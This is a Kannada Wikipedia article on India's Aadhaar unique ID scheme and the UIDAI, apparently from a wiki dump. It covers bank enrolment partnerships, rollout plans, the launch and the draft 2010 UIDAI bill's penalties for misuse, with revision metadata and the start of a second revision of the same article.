ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] 44okqebip45on3r884o85kclnmkcfwv 1116522 1116521 2022-08-23T15:58:39Z ChiK 40016 /* ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ */ wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[India]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[Ministry of Electronics and Information Technology]], [[India]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ == ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ (UIDAI) ಒಂದು ಶಾಸನಬದ್ಧ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಸರ್ಕಾರಿ ಇಲಾಖೆಯಾಗಿದ್ದು, ಆಧಾರ್ ಕಾಯಿದೆ 2016 ರ ನಿಬಂಧನೆಗಳನ್ನು ಅನುಸರಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯದ ವ್ಯಾಪ್ತಿಯ ಅಡಿಯಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು 12 ಜುಲೈ 2016 ರಂದು ಸ್ಥಾಪಿಸಲಾಗಿದೆ.<ref name=AboutUIDAI/> == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ 